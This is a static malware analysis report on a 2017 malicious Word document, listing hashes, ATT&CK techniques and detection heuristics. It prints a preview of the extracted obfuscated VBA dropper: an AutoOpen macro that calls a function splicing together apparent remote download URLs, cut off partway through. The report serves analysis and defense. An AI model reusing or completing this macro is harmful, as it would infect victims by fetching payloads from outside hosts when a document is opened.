Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9c656122ac13e143…

MALICIOUS

Office (OLE)

225.5 KB Created: 2017-12-20 17:19:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 9ea24370d1cf07b65e076d21df9c55b6 SHA-1: cb4cab8328174e67ebc31d82ee3d6fd89c988ee5 SHA-256: 9c656122ac13e143fb4d5ed8d8f0d303cbc966be4224c7aad91b445d5eb71de1
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, likely to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85188 bytes
SHA-256: 605fb92f2bd255ead86e95a9b6807fd15b4aa681e446caca9ab7d98d88552154
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "OwjCiHLPfTNPL"
Sub AutoOpen()
On Error Resume Next
MwOnWmwzz = (2772 * CStr(dXkmpCZo * Rnd(fZtTEuLWdQh)) / 1988 / ChrB(dJOvIBQ * CBool(136465363 - CDbl(tlHGwqAZskKU + lfzSdJtLQ)))) + (179478542 / Fix(982) - jQBAOWqjAJ * Fix(muRnXOt + Log(itGMmriQcfsX)))
ZdQapuqmD = (2772 * CStr(EJLOwkj * Rnd(FuzZmbaDPIk)) / 1988 / ChrB(OAImdJd * CBool(136465363 - CDbl(zcXHidpwBYstk + ZzXAqpAmfiCzmD)))) + (179478542 / Fix(982) - ZkpHphd * Fix(sqJmiCqPqV + Log(aKOdSoqLw)))
pFkqlvbnD = (2772 * CStr(uPwbiJhCVkoT * Rnd(cWcqKHXS)) / 1988 / ChrB(WjhnFTAiaCLEbA * CBool(136465363 - CDbl(jjTklUbHWtI + JERjfTvtPu)))) + (179478542 / Fix(982) - DOCmJmHGAVwHa * Fix(mhivZKtzzqiJW + Log(lfHPpsPVjhR)))
VPnHwLwqs = (2772 * CStr(lRzqjzGPLIAPb * Rnd(VNjSiYRwwd)) / 1988 / ChrB(vGpAfhS * CBool(136465363 - CDbl(nAOJYFuIGXZ + FnSmkciIU)))) + (179478542 / Fix(982) - nUUmnrRPjah * Fix(oUGEKMnPKaWM + Log(HnCPDDKILMtpmR)))
Application.Run "DkLHRYlMUshfmi", SHaTGOZUb
DrrrwjTzw = (2772 * CStr(jSRVFRMwHoj * Rnd(OzdXXdc)) / 1988 / ChrB(MOXujYTj * CBool(136465363 - CDbl(diHpWjkloD + AvizlAcsNbLpXq)))) + (179478542 / Fix(982) - RuXlhzcadK * Fix(OsPsmiaiIQ + Log(ZJjvbWwSokzC)))
SqNCVwXVE = (2772 * CStr(MmkcVocPoiDkU * Rnd(ClVGdKVoO)) / 1988 / ChrB(zCYfElkvcmzzL * CBool(136465363 - CDbl(AIpZvRzhVAAjaQ + tSXXufTPwKDzI)))) + (179478542 / Fix(982) - iQFaXGVV * Fix(swqPjYfUKTDiTZ + Log(QTjssOsUqZ)))
mjuJDKWYW = (2772 * CStr(aEPmrRpsdFa * Rnd(rjKDZdchA)) / 1988 / ChrB(zquokLHIhJz * CBool(136465363 - CDbl(wMDtBbZzqlwXsO + zlswoizEZsCjil)))) + (179478542 / Fix(982) - XQRzhwAfcA * Fix(AmOrXwWM + Log(XoNIPBHi)))
BwuuOVNiF = (2772 * CStr(hAzFQvjdKqhVFK * Rnd(dzjDIhjqV)) / 1988 / ChrB(dGNmRAJRCpM * CBool(136465363 - CDbl(RXRcmqRz + tjdkXiizNAJ)))) + (179478542 / Fix(982) - bmpTqtqXDDV * Fix(VfLmjuq + Log(YzkWjBtVfT)))
End Sub
Function SHaTGOZUb()
On Error Resume Next
dzFjT = (2772 * CStr(PiciVbkvOHsHYZ * Rnd(QwqZEVaZYJjd)) / 1988 / ChrB(jBdmKMdk * CBool(136465363 - CDbl(jPIHwWAFQhCGSV + jDcoJDYp)))) + (179478542 / Fix(982) - dPNdGzMvATSbQw * Fix(EZStzaANfQ + Log(HkoatIZ)))
cSXFOqkdN = (2772 * CStr(FkmOtVaZQjbHfc * Rnd(unEKHWWTiZftQc)) / 1988 / ChrB(Uujzptv * CBool(136465363 - CDbl(iiPELaPzQI + jKknlZjRDpN)))) + (179478542 / Fix(982) - JwNLjXimEwP * Fix(jsRKsSZOkk + Log(rkHwYGbriUCFH)))
GbhiviJQ = Mid("Y2S6ifwGq2rbm7kOSmAfULH'+'+ULHwULH+ULHw.asU'+'L'+'H+ULHianaU3iV+3iVLH+ULHcademicreseULH+U'+'LHaULH+ULHrch.org/DdvULH+ULH44G/,ULH+ULHr3E", 21, 112)
JfwiOKFzj = (2772 * CStr(ijIWzTUG * Rnd(zDkQGCk)) / 1988 / ChrB(kiqXdCiMAqcG * CBool(136465363 - CDbl(aKBFStvDTai + uObjpAhErI)))) + (179478542 / Fix(982) - jmAiaJwcszf * Fix(tjKoJojREL + Log(jnGjKqu)))
fMsBAR = (2772 * CStr(LYiDWGWWTVQ * Rnd(mMDPBEqptpAhqw)) / 1988 / ChrB(EjEXXCNKsESI * CBool(136465363 - CDbl(SGcCdWLnsduo + SjVYzMaWR)))) + (179478542 / Fix(982) - PztsYBLKivJWn * Fix(wEUkwLCJi + Log(kjpTGGi)))
vaiQAoiR = (2772 * CStr(iShSTRO * Rnd(tUzlUOpiwf)) / 1988 / ChrB(XQKqYXjR * CBool(136465363 - CDbl(UcomzzzGMRqWu + mwGajVwXjf)))) + (179478542 / Fix(982) - XmYbIukAYAQ * Fix(LoWRjWfoodw + Log(tRzzwswsII)))
ZaitPXwM = Mid("d4Hdinmobil'+'iariaUL'+'H+U3iV+3iVLH.'+'coULH3iV+3iV+U'+'LHm.ULH+UL3iV+3iV'+'HuULH+ULHy'+'ULH+ULH/xumiA/,ULH+ULHh'+'ULH+ULHttp:3iV+3iV/'+'/uULH+UL3iV'+'+3iVHruguULH+ULHaylegalULH+ULH.uy/nULH+ULHOcc/,h8FwnWXTXfZA", 3, 198)
wNTtkrYi = (2772 * CStr(AQNEjinl * Rnd(SMtIwtIasspZ)) / 1988 / ChrB(nFPnIrM * CBool(136465363 - CDbl(DcMzWXAuUqzLi + zpwnnjsNNsmu)))) + (179478542 / Fix(982) - HpvVvZoOjhL * Fix(VIjYCrObDIZ + Log(UDjzqOTLbusFY)))
jjcQz = (2772 * CStr(YQvMqGV * Rnd(fOfjljDYVrvz)) / 1988 / ChrB(KbHrZcr * CBool(136465363 - CDbl(WYFIzZbwXYknz + NfMzIzYc)))) + (179478542 / Fix(982) - JlBNpnV * Fix(ddsJqabnK + Log(ZzSLMCANbfc)))
Nhnoajq = (2772 * CStr(CmpVNHkNRY * Rnd(pKAXTZwP)) / 1988 / ChrB(BrspYU
... (truncated)

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